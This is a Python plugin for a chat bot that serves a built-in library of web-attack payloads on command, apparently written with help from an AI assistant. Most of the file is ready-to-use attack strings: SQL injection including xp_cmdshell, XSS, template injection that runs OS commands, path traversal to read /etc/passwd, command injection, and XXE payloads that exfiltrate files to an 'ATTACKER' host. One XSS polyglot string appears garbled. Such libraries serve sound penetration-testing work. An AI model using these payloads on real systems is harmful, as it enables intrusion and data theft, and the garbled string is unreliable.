ExploitDB: search local exploit-db CSV mirror by keyword, EDB ID, or CVE identifier. In-bot update command downloads the latest CSV from GitLab. Also added to the update-data.sh script. Payload: built-in template library with 52 payloads across 6 categories (sqli, xss, ssti, lfi, cmdi, xxe). Supports browsing, numeric index, and keyword search within categories. Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
168 lines
6.7 KiB
Python
168 lines
6.7 KiB
Python
"""Plugin: payload template library for common web vulnerabilities."""
|
|
|
|
from __future__ import annotations
|
|
|
|
from derp.plugin import command
|
|
|
|
# -- Payload database ---------------------------------------------------------
|
|
# Each category: list of (label, payload_string)
|
|
|
|
_PAYLOADS: dict[str, list[tuple[str, str]]] = {
|
|
"sqli": [
|
|
("auth bypass", "' OR 1=1--"),
|
|
("auth bypass 2", "' OR '1'='1"),
|
|
("union select", "' UNION SELECT NULL,NULL,NULL--"),
|
|
("union cols", "' ORDER BY 1--"),
|
|
("error-based", "' AND 1=CONVERT(int,(SELECT @@version))--"),
|
|
("time blind", "' AND SLEEP(5)--"),
|
|
("bool blind", "' AND 1=1--"),
|
|
("stacked", "'; EXEC xp_cmdshell('whoami')--"),
|
|
("comment", "' OR 1=1#"),
|
|
("double query", "' UNION SELECT 1,2,GROUP_CONCAT(table_name) "
|
|
"FROM information_schema.tables--"),
|
|
],
|
|
"xss": [
|
|
("basic", '<script>alert(1)</script>'),
|
|
("img onerror", '<img src=x onerror=alert(1)>'),
|
|
("svg onload", '<svg onload=alert(1)>'),
|
|
("event", '" onmouseover="alert(1)'),
|
|
("javascript:", 'javascript:alert(1)'),
|
|
("body onload", '<body onload=alert(1)>'),
|
|
("input autofocus", '<input autofocus onfocus=alert(1)>'),
|
|
("details", '<details open ontoggle=alert(1)>'),
|
|
("encoded", '<script>alert(1)</script>'),
|
|
("polyglot", "jaVasCript:/*-/*`/*\\`/*'/*\"/**/(/**/oNcliCk=alert()"
|
|
" )//%%0telerik0telerik11telerik22//>*/alert(1)//"),
|
|
],
|
|
"ssti": [
|
|
("detect", "{{7*7}}"),
|
|
("jinja2", "{{config.__class__.__init__.__globals__['os'].popen('id').read()}}"),
|
|
("jinja2 rce", "{% for x in ().__class__.__base__.__subclasses__() %}"
|
|
"{% if 'warning' in x.__name__ %}"
|
|
"{{x()._module.__builtins__['__import__']('os').popen('id').read()}}"
|
|
"{% endif %}{% endfor %}"),
|
|
("twig", "{{_self.env.registerUndefinedFilterCallback('exec')}}"
|
|
"{{_self.env.getFilter('id')}}"),
|
|
("mako", "${__import__('os').popen('id').read()}"),
|
|
("freemarker", '<#assign ex="freemarker.template.utility.Execute"?new()>'
|
|
'${ex("id")}'),
|
|
("erb", "<%= system('id') %>"),
|
|
("pug", "#{root.process.mainModule.require('child_process')"
|
|
".execSync('id').toString()}"),
|
|
],
|
|
"lfi": [
|
|
("etc/passwd", "../../../../etc/passwd"),
|
|
("null byte", "../../../../etc/passwd%00"),
|
|
("double encode", "%252e%252e%252f%252e%252e%252fetc/passwd"),
|
|
("utf-8 encode", "..%c0%af..%c0%afetc/passwd"),
|
|
("wrapper b64", "php://filter/convert.base64-encode/resource=index.php"),
|
|
("wrapper input", "php://input"),
|
|
("proc self", "/proc/self/environ"),
|
|
("windows", "..\\..\\..\\..\\windows\\win.ini"),
|
|
("log poison", "/var/log/apache2/access.log"),
|
|
],
|
|
"cmdi": [
|
|
("pipe", "| id"),
|
|
("semicolon", "; id"),
|
|
("backtick", "`id`"),
|
|
("dollar", "$(id)"),
|
|
("newline", "%0aid"),
|
|
("and", "& id"),
|
|
("double and", "&& id"),
|
|
("or", "|| id"),
|
|
("redirect", "> /tmp/pwned"),
|
|
("blind sleep", "| sleep 5"),
|
|
],
|
|
"xxe": [
|
|
("file read", '<?xml version="1.0"?><!DOCTYPE foo ['
|
|
'<!ENTITY xxe SYSTEM "file:///etc/passwd">]>'
|
|
'<foo>&xxe;</foo>'),
|
|
("ssrf", '<?xml version="1.0"?><!DOCTYPE foo ['
|
|
'<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">]>'
|
|
'<foo>&xxe;</foo>'),
|
|
("blind oob", '<?xml version="1.0"?><!DOCTYPE foo ['
|
|
'<!ENTITY % xxe SYSTEM "http://ATTACKER/evil.dtd">'
|
|
'%xxe;]><foo>test</foo>'),
|
|
("parameter", '<?xml version="1.0"?><!DOCTYPE foo ['
|
|
'<!ENTITY % file SYSTEM "file:///etc/passwd">'
|
|
'<!ENTITY % eval "<!ENTITY % exfil SYSTEM '
|
|
"'http://ATTACKER/?x=%file;'>\">"
|
|
'%eval;%exfil;]><foo>test</foo>'),
|
|
("xinclude", '<foo xmlns:xi="http://www.w3.org/2001/XInclude">'
|
|
'<xi:include parse="text" href="file:///etc/passwd"/></foo>'),
|
|
],
|
|
}
|
|
|
|
_CATEGORIES = sorted(_PAYLOADS.keys())
|
|
_MAX_SHOW = 5
|
|
|
|
|
|
@command("payload", help="Payloads: !payload <type> [variant|list|all]")
|
|
async def cmd_payload(bot, message):
|
|
"""Web vulnerability payload template library.
|
|
|
|
Usage:
|
|
!payload list List available categories
|
|
!payload sqli Show first 5 SQLi payloads
|
|
!payload sqli all Show all SQLi payloads
|
|
!payload xss 3 Show payload #3 from XSS
|
|
!payload ssti jinja Search SSTI payloads for 'jinja'
|
|
"""
|
|
parts = message.text.split(None, 3)
|
|
if len(parts) < 2:
|
|
await bot.reply(message, f"Usage: !payload <{'|'.join(_CATEGORIES)}|list> [variant]")
|
|
return
|
|
|
|
sub = parts[1].lower()
|
|
|
|
if sub == "list":
|
|
items = []
|
|
for cat in _CATEGORIES:
|
|
items.append(f"{cat} ({len(_PAYLOADS[cat])})")
|
|
await bot.reply(message, f"Categories: {', '.join(items)}")
|
|
return
|
|
|
|
if sub not in _PAYLOADS:
|
|
await bot.reply(message, f"Unknown category: {sub} "
|
|
f"(valid: {', '.join(_CATEGORIES)})")
|
|
return
|
|
|
|
payloads = _PAYLOADS[sub]
|
|
arg = parts[2].strip() if len(parts) > 2 else ""
|
|
|
|
# Show all
|
|
if arg.lower() == "all":
|
|
for i, (label, payload) in enumerate(payloads, 1):
|
|
await bot.reply(message, f" {i}. [{label}] {payload}")
|
|
return
|
|
|
|
# Numeric index
|
|
if arg.isdigit():
|
|
idx = int(arg)
|
|
if 1 <= idx <= len(payloads):
|
|
label, payload = payloads[idx - 1]
|
|
await bot.reply(message, f"[{label}] {payload}")
|
|
else:
|
|
await bot.reply(message, f"Index out of range (1-{len(payloads)})")
|
|
return
|
|
|
|
# Keyword search within category
|
|
if arg:
|
|
matches = [(lbl, pl) for lbl, pl in payloads
|
|
if arg.lower() in lbl.lower() or arg.lower() in pl.lower()]
|
|
if not matches:
|
|
await bot.reply(message, f"No {sub} payloads matching '{arg}'")
|
|
return
|
|
for label, payload in matches[:_MAX_SHOW]:
|
|
await bot.reply(message, f" [{label}] {payload}")
|
|
if len(matches) > _MAX_SHOW:
|
|
await bot.reply(message, f" ({len(matches)} total)")
|
|
return
|
|
|
|
# Default: show first N
|
|
for i, (label, payload) in enumerate(payloads[:_MAX_SHOW], 1):
|
|
await bot.reply(message, f" {i}. [{label}] {payload}")
|
|
if len(payloads) > _MAX_SHOW:
|
|
await bot.reply(message, f" ({len(payloads)} total, "
|
|
f"use !payload {sub} all)")
|